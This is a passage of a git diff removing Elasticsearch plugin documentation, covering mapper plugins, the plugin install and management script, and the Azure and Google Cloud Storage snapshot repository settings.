-However, a problem arises if your named entity happens to be a single term and lower-case e.g. the 
-company `elastic`. In this case, a search on the annotated text field for the token `elastic`
-may match a text document such as this:
-
-    they fired an elastic band
-
-To avoid such false matches users should consider prefixing annotation values to ensure 
-they don't name clash with text tokens e.g.
-
-    [elastic](Company_elastic) released version 7.0 of the elastic stack today
-
-
-
-
-[[mapper-annotated-text-highlighter]]
-==== Using the `annotated` highlighter
-
-The `annotated-text` plugin includes a custom highlighter designed to mark up search hits
-in a way which is respectful of the original markup:
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "my_field": "The cat sat on the [mat](sku3578)"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "query_string": {
-        "query": "cats" 
-    }
-  },
-  "highlight": {
-    "fields": {
-      "my_field": {
-        "type": "annotated", <1>
-        "require_field_match": false
-      }
-    }
-  }
-}
---------------------------
-
-<1> The `annotated` highlighter type is designed for use with annotated_text fields
-
-The annotated highlighter is based on the `unified` highlighter and supports the same
-settings but does not use the `pre_tags` or `post_tags` parameters. Rather than using
-html-like markup such as `<em>cat</em>` the annotated highlighter uses the same 
-markdown-like syntax used for annotations and injects a key=value annotation where `_hit_term`
-is the  key and the matched search term is the value e.g. 
-
-    The [cat](_hit_term=cat) sat on the [mat](sku3578)
-
-The annotated highlighter tries to be respectful of any existing markup in the original 
-text:
-
-* If the search term matches exactly the location of an existing annotation then the 
-`_hit_term` key is merged into the url-like syntax used in the `(...)` part of the
-existing annotation. 
-* However, if the search term overlaps the span of an existing annotation it would break
-the markup formatting so the original annotation is removed in favour of a new annotation
-with just the search hit information in the results. 
-* Any non-overlapping annotations in the original text are preserved in highlighter
-selections
-
-
-[[mapper-annotated-text-limitations]]
-==== Limitations
-
-The annotated_text field type supports the same mapping settings as the `text` field type
-but with the following exceptions:
-
-* No support for `fielddata` or `fielddata_frequency_filter`
-* No support for `index_prefixes` or `index_phrases` indexing
diff --git a/docs/plugins/mapper-murmur3.asciidoc b/docs/plugins/mapper-murmur3.asciidoc
deleted file mode 100644
index 14f93186805..00000000000
--- a/docs/plugins/mapper-murmur3.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[[mapper-murmur3]]
-=== Mapper Murmur3 Plugin
-
-The mapper-murmur3 plugin provides the ability to compute hash of field values
-at index-time and store them in the index. This can sometimes be helpful when
-running cardinality aggregations on high-cardinality and large string fields.
-
-:plugin_name: mapper-murmur3
-include::install_remove.asciidoc[]
-
-[[mapper-murmur3-usage]]
-==== Using the `murmur3` field
-
-The `murmur3` is typically used within a multi-field, so that both the original
-value and its hash are stored in the index:
-
-[source,console]
---------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_field": {
-        "type": "keyword",
-        "fields": {
-          "hash": {
-            "type": "murmur3"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------
-
-Such a mapping would allow to refer to `my_field.hash` in order to get hashes
-of the values of the `my_field` field. This is only useful in order to run
-`cardinality` aggregations:
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "my_field": "This is a document"
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_field": "This is another document"
-}
-
-GET my-index-000001/_search
-{
-  "aggs": {
-    "my_field_cardinality": {
-      "cardinality": {
-        "field": "my_field.hash" <1>
-      }
-    }
-  }
-}
---------------------------
-
-<1> Counting unique values on the `my_field.hash` field
-
-Running a `cardinality` aggregation on the `my_field` field directly would
-yield the same result, however using `my_field.hash` instead might result in
-a speed-up if the field has a high-cardinality. On the other hand, it is
-discouraged to use the `murmur3` field on numeric fields and string fields
-that are not almost unique as the use of a `murmur3` field is unlikely to
-bring significant speed-ups, while increasing the amount of disk space required
-to store the index.
diff --git a/docs/plugins/mapper-size.asciidoc b/docs/plugins/mapper-size.asciidoc
deleted file mode 100644
index c7140d865b8..00000000000
--- a/docs/plugins/mapper-size.asciidoc
+++ /dev/null
@@ -1,93 +0,0 @@
-[[mapper-size]]
-=== Mapper Size Plugin
-
-The mapper-size plugin provides the `_size` metadata field which, when enabled,
-indexes the size in bytes of the original
-{ref}/mapping-source-field.html[`_source`] field.
-
-:plugin_name: mapper-size
-include::install_remove.asciidoc[]
-
-[[mapper-size-usage]]
-==== Using the `_size` field
-
-In order to enable the `_size` field, set the mapping as follows:
-
-[source,console]
---------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "_size": {
-      "enabled": true
-    }
-  }
-}
---------------------------
-
-The value of the `_size` field is accessible in queries, aggregations, scripts,
-and when sorting:
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "text": "This is a document"
-}
-
-PUT my-index-000001/_doc/2
-{
-  "text": "This is another document"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "range": {
-      "_size": {                      <1>
-        "gt": 10
-      }
-    }
-  },
-  "aggs": {
-    "sizes": {
-      "terms": {
-        "field": "_size",             <2>
-        "size": 10
-      }
-    }
-  },
-  "sort": [
-    {
-      "_size": {                      <3>
-        "order": "desc"
-      }
-    }
-  ],
-  "script_fields": {
-    "size": {
-      "script": "doc['_size']"        <4>
-    }
-  },
-  "docvalue_fields": [
-    {
-      "field": "_size"                <5>
-    }
-  ]
-}
---------------------------
-// TEST[continued]
-
-<1> Querying on the `_size` field
-<2> Aggregating on the `_size` field
-<3> Sorting on the `_size` field
-<4> Uses a
-{ref}/search-fields.html#script-fields[script field]
-to return the `_size` field in the search response.
-<5> Uses a
-{ref}/search-fields.html#docvalue-fields[doc value
-field] to return the `_size` field in the search response. Doc value fields are
-useful if
-{ref}/modules-scripting-security.html#allowed-script-types-setting[inline
-scripts are disabled].
diff --git a/docs/plugins/mapper.asciidoc b/docs/plugins/mapper.asciidoc
deleted file mode 100644
index 01046d270e7..00000000000
--- a/docs/plugins/mapper.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[mapper]]
-== Mapper Plugins
-
-Mapper plugins allow new field data types to be added to Elasticsearch.
-
-[discrete]
-=== Core mapper plugins
-
-The core mapper plugins are:
-
-<<mapper-size>>::
-
-The mapper-size plugin provides the `_size` metadata field which, when enabled,
-indexes the size in bytes of the original
-{ref}/mapping-source-field.html[`_source`] field.
-
-<<mapper-murmur3>>::
-
-The mapper-murmur3 plugin allows hashes to be computed at index-time and stored
-in the index for later use with the `cardinality` aggregation.
-
-<<mapper-annotated-text>>::
-
-The annotated text plugin provides the ability to index text that is a
-combination of free-text and special markup that is typically used to identify
-items of interest such as people or organisations (see NER or Named Entity Recognition
-tools).
-
-include::mapper-size.asciidoc[]
-include::mapper-murmur3.asciidoc[]
-include::mapper-annotated-text.asciidoc[]
diff --git a/docs/plugins/plugin-script.asciidoc b/docs/plugins/plugin-script.asciidoc
deleted file mode 100644
index 775dd28e0ff..00000000000
--- a/docs/plugins/plugin-script.asciidoc
+++ /dev/null
@@ -1,271 +0,0 @@
-[[plugin-management]]
-== Plugin Management
-
-The `plugin` script is used to install, list, and remove plugins. It is
-located in the `$ES_HOME/bin` directory by default but it may be in a
-different location depending on which Elasticsearch package you installed:
-
-* {ref}/targz.html#targz-layout[Directory layout of `.tar.gz` archives]
-* {ref}/zip-windows.html#windows-layout[Directory layout of Windows `.zip` archives]
-* {ref}/deb.html#deb-layout[Directory layout of Debian package]
-* {ref}/rpm.html#rpm-layout[Directory layout of RPM]
-
-Run the following command to get usage instructions:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin -h
------------------------------------
-
-[IMPORTANT]
-.Running as root
-=====================
-If Elasticsearch was installed using the deb or rpm package then run
-`/usr/share/elasticsearch/bin/elasticsearch-plugin` as `root` so it can write to the appropriate files on disk.
-Otherwise run `bin/elasticsearch-plugin` as the user that owns all of the Elasticsearch
-files.
-=====================
-
-[[installation]]
-=== Installing Plugins
-
-The documentation for each plugin usually includes specific installation
-instructions for that plugin, but below we document the various available
-options:
-
-[discrete]
-=== Core Elasticsearch plugins
-
-Core Elasticsearch plugins can be installed as follows:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install [plugin_name]
------------------------------------
-
-For instance, to install the core <<analysis-icu,ICU plugin>>, just run the
-following command:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install analysis-icu
------------------------------------
-
-This command will install the version of the plugin that matches your
-Elasticsearch version and also show a progress bar while downloading.
-
-[[plugin-management-custom-url]]
-=== Custom URL or file system
-
-A plugin can also be downloaded directly from a custom location by specifying the URL:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install [url] <1>
------------------------------------
-<1> must be a valid URL, the plugin name is determined from its descriptor.
-
---
-Unix::
-To install a plugin from your local file system at `/path/to/plugin.zip`, you could run:
-+
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install file:///path/to/plugin.zip
------------------------------------
-
-Windows::
-To install a plugin from your local file system at `C:\path\to\plugin.zip`, you could run:
-+
-[source,shell]
------------------------------------
-bin\elasticsearch-plugin install file:///C:/path/to/plugin.zip
------------------------------------
-+
-NOTE: Any path that contains spaces must be wrapped in quotes!
-+
-NOTE: If you are installing a plugin from the filesystem the plugin distribution
-must not be contained in the `plugins` directory for the node that you are
-installing the plugin to or installation will fail.
-
-HTTP::
-To install a plugin from an HTTP URL:
-+
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install https://some.domain/path/to/plugin.zip
------------------------------------
-+
-The plugin script will refuse to talk to an HTTPS URL with an untrusted
-certificate. To use a self-signed HTTPS cert, you will need to add the CA cert
-to a local Java truststore and pass the location to the script as follows:
-+
-[source,shell]
------------------------------------
-sudo ES_JAVA_OPTS="-Djavax.net.ssl.trustStore=/path/to/trustStore.jks" bin/elasticsearch-plugin install https://host/plugin.zip
------------------------------------
---
-
-[[installing-multiple-plugins]]
-=== Installing multiple plugins
-
-Multiple plugins can be installed in one invocation as follows:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install [plugin_id] [plugin_id] ... [plugin_id]
------------------------------------
-
-Each `plugin_id` can be any valid form for installing a single plugin (e.g., the
-name of a core plugin, or a custom URL).
-
-For instance, to install the core <<analysis-icu,ICU plugin>>, and
-<<repository-s3,S3 repository plugin>> run the following command:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install analysis-icu repository-s3
------------------------------------
-
-This command will install the versions of the plugins that matches your
-Elasticsearch version. The installation will be treated as a transaction, so
-that all the plugins will be installed, or none of the plugins will be installed
-if any installation fails.
-
-[[mandatory-plugins]]
-=== Mandatory Plugins
-
-If you rely on some plugins, you can define mandatory plugins by adding
-`plugin.mandatory` setting to the `config/elasticsearch.yml` file, for
-example:
-
-[source,yaml]
---------------------------------------------------
-plugin.mandatory: analysis-icu,lang-js
---------------------------------------------------
-
-For safety reasons, a node will not start if it is missing a mandatory plugin.
-
-[[listing-removing-updating]]
-=== Listing, Removing and Updating Installed Plugins
-
-[discrete]
-=== Listing plugins
-
-A list of the currently loaded plugins can be retrieved with the `list` option:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin list
------------------------------------
-
-Alternatively, use the {ref}/cluster-nodes-info.html[node-info API] to find
-out which plugins are installed on each node in the cluster
-
-[discrete]
-=== Removing plugins
-
-Plugins can be removed manually, by deleting the appropriate directory under
-`plugins/`, or using the public script:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin remove [pluginname]
------------------------------------
-
-After a Java plugin has been removed, you will need to restart the node to
-complete the removal process.
-
-By default, plugin configuration files (if any) are preserved on disk; this is
-so that configuration is not lost while upgrading a plugin. If you wish to
-purge the configuration files while removing a plugin, use `-p` or `--purge`.
-This can option can be used after a plugin is removed to remove any lingering
-configuration files.
-
-[discrete]
-=== Updating plugins
-
-Plugins are built for a specific version of Elasticsearch, and therefore must be reinstalled
-each time Elasticsearch is updated.
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin remove [pluginname]
-sudo bin/elasticsearch-plugin install [pluginname]
------------------------------------
-
-=== Other command line parameters
-
-The `plugin` scripts supports a number of other command line parameters:
-
-[discrete]
-=== Silent/Verbose mode
-
-The `--verbose` parameter outputs more debug information, while the `--silent`
-parameter turns off all output including the progress bar. The script may
-return the following exit codes:
-
-[horizontal]
-`0`:: everything was OK
-`64`:: unknown command or incorrect option parameter
-`74`:: IO error
-`70`:: any other error
-
-[discrete]
-=== Batch mode
-
-Certain plugins require more privileges than those provided by default in core
-Elasticsearch. These plugins will list the required privileges and ask the
-user for confirmation before continuing with installation.
-
-When running the plugin install script from another program (e.g. install
-automation scripts), the plugin script should detect that it is not being
-called from the console and skip the confirmation response, automatically
-granting all requested permissions.  If console detection fails, then batch
-mode can be forced by specifying `-b` or `--batch` as follows:
-
-[source,shell]
------------------------------------
-sudo bin/elasticsearch-plugin install --batch [pluginname]
------------------------------------
-
-[discrete]
-=== Custom config directory
-
-If your `elasticsearch.yml` config file is in a custom location, you will need
-to specify the path to the config file when using the `plugin` script.  You
-can do this as follows:
-
-[source,sh]
----------------------
-sudo ES_PATH_CONF=/path/to/conf/dir bin/elasticsearch-plugin install <plugin name>
----------------------
-
-[discrete]
-=== Proxy settings
-
-To install a plugin via a proxy, you can add the proxy details to the
-`ES_JAVA_OPTS` environment variable with the Java settings `http.proxyHost`
-and `http.proxyPort` (or `https.proxyHost` and `https.proxyPort`):
-
-[source,shell]
------------------------------------
-sudo ES_JAVA_OPTS="-Dhttp.proxyHost=host_name -Dhttp.proxyPort=port_number -Dhttps.proxyHost=host_name -Dhttps.proxyPort=https_port_number" bin/elasticsearch-plugin install analysis-icu
------------------------------------
-
-Or on Windows:
-
-[source,shell]
-------------------------------------
-set ES_JAVA_OPTS="-Dhttp.proxyHost=host_name -Dhttp.proxyPort=port_number -Dhttps.proxyHost=host_name -Dhttps.proxyPort=https_port_number"
-bin\elasticsearch-plugin install analysis-icu
-------------------------------------
-
-=== Plugins directory
-
-The default location of the `plugins` directory depends on which package you install:
-
-* {ref}/targz.html#targz-layout[Directory layout of `.tar.gz` archives]
-* {ref}/zip-windows.html#windows-layout[Directory layout of Windows `.zip` archives]
-* {ref}/deb.html#deb-layout[Directory layout of Debian package]
-* {ref}/rpm.html#rpm-layout[Directory layout of RPM]
diff --git a/docs/plugins/redirects.asciidoc b/docs/plugins/redirects.asciidoc
deleted file mode 100644
index 6e5675309d7..00000000000
--- a/docs/plugins/redirects.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-["appendix",role="exclude",id="redirects"]
-= Deleted pages
-
-The following pages have moved or been deleted.
-
-[role="exclude",id="discovery-multicast"]
-=== Multicast Discovery Plugin
-
-The `multicast-discovery` plugin has been removed.  Instead, configure networking
-using unicast (see {ref}/modules-network.html[Network settings]) or using
-one of the <<discovery,cloud discovery plugins>>.
-
-[role="exclude",id="cloud-aws"]
-=== AWS Cloud Plugin
-
-Looking for a hosted solution for Elasticsearch on AWS? Check out https://www.elastic.co/cloud/.
-
-The Elasticsearch `cloud-aws` plugin has been split into two separate plugins:
-
-*  <<discovery-ec2>> (`discovery-ec2`)
-*  <<repository-s3>> (`repository-s3`)
-
-[role="exclude",id="cloud-azure"]
-=== Azure Cloud Plugin
-
-The `cloud-azure` plugin has been split into two separate plugins:
-
-*  <<discovery-azure-classic>> (`discovery-azure-classic`)
-*  <<repository-azure>> (`repository-azure`)
-
-
-[role="exclude",id="cloud-gce"]
-=== GCE Cloud Plugin
-
-The `cloud-gce` plugin has been renamed to <<discovery-gce>> (`discovery-gce`).
-
-[role="exclude",id="plugins-delete-by-query"]
-=== Delete-By-Query plugin removed
-
-The Delete-By-Query plugin has been removed in favor of a new {ref}/docs-delete-by-query.html[Delete By Query API]
-implementation in core.
-
-
-
-
-
-
-
diff --git a/docs/plugins/repository-azure.asciidoc b/docs/plugins/repository-azure.asciidoc
deleted file mode 100644
index f5b318b4d06..00000000000
--- a/docs/plugins/repository-azure.asciidoc
+++ /dev/null
@@ -1,253 +0,0 @@
-[[repository-azure]]
-=== Azure Repository Plugin
-
-The Azure Repository plugin adds support for using Azure as a repository for
-{ref}/modules-snapshots.html[Snapshot/Restore].
-
-:plugin_name: repository-azure
-include::install_remove.asciidoc[]
-
-[[repository-azure-usage]]
-==== Azure Repository
-
-To enable Azure repositories, you have first to define your azure storage settings as
-{ref}/secure-settings.html[secure settings], before starting up the node:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add azure.client.default.account
-bin/elasticsearch-keystore add azure.client.default.key
-----------------------------------------------------------------
-
-Note that you can also define more than one account:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add azure.client.default.account
-bin/elasticsearch-keystore add azure.client.default.key
-bin/elasticsearch-keystore add azure.client.secondary.account
-bin/elasticsearch-keystore add azure.client.secondary.sas_token
-----------------------------------------------------------------
-
-For more information about these settings, see
-<<repository-azure-client-settings>>.
-
-[IMPORTANT]
-.Supported Azure Storage Account types
-===============================================
-The Azure Repository plugin works with all Standard storage accounts
-
-* Standard Locally Redundant Storage - `Standard_LRS`
-* Standard Zone-Redundant Storage - `Standard_ZRS`
-* Standard Geo-Redundant Storage - `Standard_GRS`
-* Standard Read Access Geo-Redundant Storage - `Standard_RAGRS`
-
-https://azure.microsoft.com/en-gb/documentation/articles/storage-premium-storage[Premium Locally Redundant Storage] (`Premium_LRS`) is **not supported** as it is only usable as VM disk storage, not as general storage.
-===============================================
-
-[[repository-azure-client-settings]]
-==== Client settings
-
-The client that you use to connect to Azure has a number of settings available.
-The settings have the form `azure.client.CLIENT_NAME.SETTING_NAME`. By default,
-`azure` repositories use a client named `default`, but this can be modified using
-the <<repository-azure-repository-settings,repository setting>> `client`.
-For example:
-
-[source,console]
-----
-PUT _snapshot/my_backup
-{
-  "type": "azure",
-  "settings": {
-    "client": "secondary"
-  }
-}
-----
-// TEST[skip:we don't have azure setup while testing this]
-
-Most client settings can be added to the `elasticsearch.yml` configuration file.
-For example:
-
-[source,yaml]
-----
-azure.client.default.timeout: 10s
-azure.client.default.max_retries: 7
-azure.client.default.endpoint_suffix: core.chinacloudapi.cn
-azure.client.secondary.timeout: 30s
-----
-
-In this example, the client side timeout is `10s` per try for the `default`
-account with `7` retries before failing. The endpoint suffix is
-`core.chinacloudapi.cn` and `30s` per try for the `secondary` account with `3`
-retries.
-
-The `account`, `key`, and `sas_token` storage settings are reloadable secure
-settings, which you add to the {es} keystore. For more information about
-creating and updating the {es} keystore, see
-{ref}/secure-settings.html[Secure settings]. After you reload the settings, the
-internal Azure clients, which are used to transfer the snapshot, utilize the
-latest settings from the keystore.
-
-NOTE: In progress snapshot or restore jobs will not be preempted by a *reload*
-of the storage secure settings. They will complete using the client as it was
-built when the operation started.
-
-The following list contains the available client settings. Those that must be
-stored in the keystore are marked as "secure"; the other settings belong in the
-`elasticsearch.yml` file.
-
-`account` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-  The Azure account name, which is used by the repository's internal Azure client.
-
-`endpoint_suffix`::
-  The Azure endpoint suffix to connect to. The default value is
-  `core.windows.net`.
-
-`key` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-  The Azure secret key, which is used by the repository's internal Azure client. Alternatively, use `sas_token`.
-
-`max_retries`::
-    The number of retries to use when an Azure request fails. This setting helps
-    control the exponential backoff policy. It specifies the number of retries
-    that must occur before the snapshot fails. The default value is `3`. The
-    initial backoff period is defined by Azure SDK as `30s`. Thus there is `30s`
-    of wait time before retrying after a first timeout or failure. The maximum
-    backoff period is defined by Azure SDK as `90s`.
-
-`proxy.host`::
-  The host name of a proxy to connect to Azure through. For example: `azure.client.default.proxy.host: proxy.host`.
-
-`proxy.port`::
-  The port of a proxy to connect to Azure through. For example, `azure.client.default.proxy.port: 8888`.
-
-`proxy.type`::
- Register a proxy type for the client. Supported values are `direct`, `http`,
- and `socks`. For example: `azure.client.default.proxy.type: http`. When
- `proxy.type` is set to `http` or `socks`, `proxy.host` and `proxy.port` must
- also be provided. The default value is `direct`.
-
-`sas_token` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-  A shared access signatures (SAS) token, which the repository's internal Azure
-  client uses for authentication. The SAS token must have read (r), write (w),
-  list (l), and delete (d) permissions for the repository base path and all its
-  contents. These permissions must be granted for the blob service (b) and apply
-  to resource types service (s), container (c), and object (o). Alternatively,
-  use `key`.
-
-`timeout`::
-  The client side timeout for any single request to Azure. The value should
-  specify the time unit. For example, a value of `5s` specifies a 5 second
-  timeout. There is no default value, which means that {es} uses the
-  https://azure.github.io/azure-storage-java/com/microsoft/azure/storage/RequestOptions.html#setTimeoutIntervalInMs(java.lang.Integer)[default value]
-  set by the Azure client (known as 5 minutes). This setting can be defined
-  globally, per account, or both.
-
-[[repository-azure-repository-settings]]
-==== Repository settings
-
-The Azure repository supports following settings:
-
-`client`::
-
-    Azure named client to use. Defaults to `default`.
-
-`container`::
-
-    Container name. You must create the azure container before creating the repository.
-    Defaults to `elasticsearch-snapshots`.
-
-`base_path`::
-
-    Specifies the path within container to repository data. Defaults to empty
-    (root directory).
-
-`chunk_size`::
-
-    Big files can be broken down into multiple smaller blobs in the blob store during snapshotting.
-    It is not recommended to change this value from its default unless there is an explicit reason for limiting the
-    size of blobs in the repository. Setting a value lower than the default can result in an increased number of API
-    calls to the Azure blob store during snapshot create as well as restore operations compared to using the default
-    value and thus make both operations slower as well as more costly.
-    Specify the chunk size as a value and unit, for example:
-    `10MB`, `5KB`, `500B`. Defaults to the maximum size of a blob in the Azure blob store which is `5TB`.
-
-`compress`::
-
-    When set to `true` metadata files are stored in compressed format. This
-    setting doesn't affect index files that are already compressed by default.
-    Defaults to `false`.
-
-include::repository-shared-settings.asciidoc[]
-
-`location_mode`::
-
-    `primary_only` or `secondary_only`. Defaults to `primary_only`. Note that if you set it
-    to `secondary_only`, it will force `readonly` to true.
-
-Some examples, using scripts:
-
-[source,console]
-----
-# The simplest one
-PUT _snapshot/my_backup1
-{
-  "type": "azure"
-}
-
-# With some settings
-PUT _snapshot/my_backup2
-{
-  "type": "azure",
-  "settings": {
-    "container": "backup-container",
-    "base_path": "backups",
-    "chunk_size": "32MB",
-    "compress": true
-  }
-}
-
-
-# With two accounts defined in elasticsearch.yml (my_account1 and my_account2)
-PUT _snapshot/my_backup3
-{
-  "type": "azure",
-  "settings": {
-    "client": "secondary"
-  }
-}
-PUT _snapshot/my_backup4
-{
-  "type": "azure",
-  "settings": {
-    "client": "secondary",
-    "location_mode": "primary_only"
-  }
-}
-----
-// TEST[skip:we don't have azure setup while testing this]
-
-Example using Java:
-
-[source,java]
-----
-client.admin().cluster().preparePutRepository("my_backup_java1")
-    .setType("azure").setSettings(Settings.builder()
-        .put(Storage.CONTAINER, "backup-container")
-        .put(Storage.CHUNK_SIZE, new ByteSizeValue(32, ByteSizeUnit.MB))
-    ).get();
-----
-
-[[repository-azure-validation]]
-==== Repository validation rules
-
-According to the
-https://docs.microsoft.com/en-us/rest/api/storageservices/Naming-and-Referencing-Containers--Blobs--and-Metadata[containers
-naming guide], a container name must be a valid DNS name, conforming to the
-following naming rules:
-
-* Container names must start with a letter or number, and can contain only letters, numbers, and the dash (-) character.
-* Every dash (-) character must be immediately preceded and followed by a letter or number; consecutive dashes are not
-permitted in container names.
-* All letters in a container name must be lowercase.
-* Container names must be from 3 through 63 characters long.
diff --git a/docs/plugins/repository-gcs.asciidoc b/docs/plugins/repository-gcs.asciidoc
deleted file mode 100644
index a02a7a2034d..00000000000
--- a/docs/plugins/repository-gcs.asciidoc
+++ /dev/null
@@ -1,261 +0,0 @@
-[[repository-gcs]]
-=== Google Cloud Storage Repository Plugin
-
-The GCS repository plugin adds support for using the https://cloud.google.com/storage/[Google Cloud Storage]
-service as a repository for {ref}/modules-snapshots.html[Snapshot/Restore].
-
-:plugin_name: repository-gcs
-include::install_remove.asciidoc[]
-
-[[repository-gcs-usage]]
-==== Getting started
-
-The plugin uses the https://github.com/GoogleCloudPlatform/google-cloud-java/tree/master/google-cloud-clients/google-cloud-storage[Google Cloud Java Client for Storage]
-to connect to the Storage service. If you are using
-https://cloud.google.com/storage/[Google Cloud Storage] for the first time, you
-must connect to the https://console.cloud.google.com/[Google Cloud Platform Console]
-and create a new project. After your project is created, you must enable the
-Cloud Storage Service for your project.
-
-[[repository-gcs-creating-bucket]]
-===== Creating a Bucket
-
-The Google Cloud Storage service uses the concept of a
-https://cloud.google.com/storage/docs/key-terms[bucket] as a container for all
-the data. Buckets are usually created using the
-https://console.cloud.google.com/[Google Cloud Platform Console]. The plugin
-does not automatically create buckets.
-
-To create a new bucket:
-
-1. Connect to the https://console.cloud.google.com/[Google Cloud Platform Console].
-2. Select your project.
-3. Go to the https://console.cloud.google.com/storage/browser[Storage Browser].
-4. Click the *Create Bucket* button.
-5. Enter the name of the new bucket.
-6. Select a storage class.
-7. Select a location.
-8. Click the *Create* button.
-
-For more detailed instructions, see the
-https://cloud.google.com/storage/docs/quickstart-console#create_a_bucket[Google Cloud documentation].
-
-[[repository-gcs-service-authentication]]
-===== Service Authentication
-
-The plugin must authenticate the requests it makes to the Google Cloud Storage
-service. It is common for Google client libraries to employ a strategy named https://cloud.google.com/docs/authentication/production#providing_credentials_to_your_application[application default credentials].
-However, that strategy is **not** supported for use with Elasticsearch. The
-plugin operates under the Elasticsearch process, which runs with the security
-manager enabled. The security manager obstructs the "automatic" credential discovery.
-Therefore, you must configure <<repository-gcs-using-service-account,service account>>
-credentials even if you are using an environment that does not normally require
-this configuration (such as Compute Engine, Kubernetes Engine or App Engine).
-
-[[repository-gcs-using-service-account]]
-===== Using a Service Account
-You have to obtain and provide https://cloud.google.com/iam/docs/overview#service_account[service account credentials]
-manually.
-
-For detailed information about generating JSON service account files, see the  https://cloud.google.com/storage/docs/authentication?hl=en#service_accounts[Google Cloud documentation].
-Note that the PKCS12 format is not supported by this plugin.
-
-Here is a summary of the steps:
-
-1. Connect to the https://console.cloud.google.com/[Google Cloud Platform Console].
-2. Select your project.
-3. Go to the https://console.cloud.google.com/permissions[Permission] tab.
-4. Select the https://console.cloud.google.com/permissions/serviceaccounts[Service Accounts] tab.
-5. Click *Create service account*.
-6. After the account is created, select it and download a JSON key file.
-
-A JSON service account file looks like this:
-
-[source,js]
-----
-{
-  "type": "service_account",
-  "project_id": "your-project-id",
-  "private_key_id": "...",
-  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
-  "client_email": "service-account-for-your-repository@your-project-id.iam.gserviceaccount.com",
-  "client_id": "...",
-  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
-  "token_uri": "https://accounts.google.com/o/oauth2/token",
-  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
-  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/your-bucket@your-project-id.iam.gserviceaccount.com"
-}
-----
-// NOTCONSOLE
-
-To provide this file to the plugin, it must be stored in the {ref}/secure-settings.html[Elasticsearch keystore].  You must
-add a `file` setting with the name `gcs.client.NAME.credentials_file` using the `add-file` subcommand.
- `NAME` is the name of the client configuration for the repository. The implicit client
-name is `default`, but a different client name can be specified in the
-repository settings with the `client` key.
-
-NOTE: Passing the file path via the GOOGLE_APPLICATION_CREDENTIALS environment
-variable is **not** supported.
-
-For example, if you added a `gcs.client.my_alternate_client.credentials_file`
-setting in the keystore, you can configure a repository to use those credentials
-like this:
-
-[source,console]
-----
-PUT _snapshot/my_gcs_repository
-{
-  "type": "gcs",
-  "settings": {
-    "bucket": "my_bucket",
-    "client": "my_alternate_client"
-  }
-}
-----
-// TEST[skip:we don't have gcs setup while testing this]
-
-The `credentials_file` settings are {ref}/secure-settings.html#reloadable-secure-settings[reloadable].
-After you reload the settings, the internal `gcs` clients, which are used to
-transfer the snapshot contents, utilize the latest settings from the keystore.
-
-NOTE: Snapshot or restore jobs that are in progress are not preempted by a *reload*
-of the client's `credentials_file` settings. They complete using the client as
-it was built when the operation started.
-
-[[repository-gcs-client]]
-==== Client Settings
-
-The client used to connect to Google Cloud Storage has a number of settings available.
-Client setting names are of the form `gcs.client.CLIENT_NAME.SETTING_NAME` and are specified
-inside `elasticsearch.yml`. The default client name looked up by a `gcs` repository is
-called `default`, but can be customized with the repository setting `client`.
-
-For example:
-
-[source,console]
-----
-PUT _snapshot/my_gcs_repository
-{
-  "type": "gcs",
-  "settings": {
-    "bucket": "my_bucket",
-    "client": "my_alternate_client"
-  }
-}
-----
-// TEST[skip:we don't have gcs setup while testing this]
-
-Some settings are sensitive and must be stored in the
-{ref}/secure-settings.html[Elasticsearch keystore]. This is the case for the service account file:
-
-[source,sh]
-----
-bin/elasticsearch-keystore add-file gcs.client.default.credentials_file /path/service-account.json
-----
-
-The following are the available client settings. Those that must be stored in the keystore
-are marked as `Secure`.
-
-`credentials_file` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    The service account file that is used to authenticate to the Google Cloud Storage service.
-
-`endpoint`::
-
-    The Google Cloud Storage service endpoint to connect to. This will be automatically
-    determined by the Google Cloud Storage client but can be specified explicitly.
-
-`connect_timeout`::
-
-    The timeout to establish a connection to the Google Cloud Storage service. The value should
-    specify the unit. For example, a value of `5s` specifies a 5 second timeout. The value of `-1`
-    corresponds to an infinite timeout. The default value is 20 seconds.
-
-`read_timeout`::
-
-    The timeout to read data from an established connection. The value should
-    specify the unit. For example, a value of `5s` specifies a 5 second timeout. The value of `-1`
-    corresponds to an infinite timeout. The default value is 20 seconds.
-
-`application_name`::
-
-    Name used by the client when it uses the Google Cloud Storage service. Setting
-    a custom name can be useful to authenticate your cluster when requests
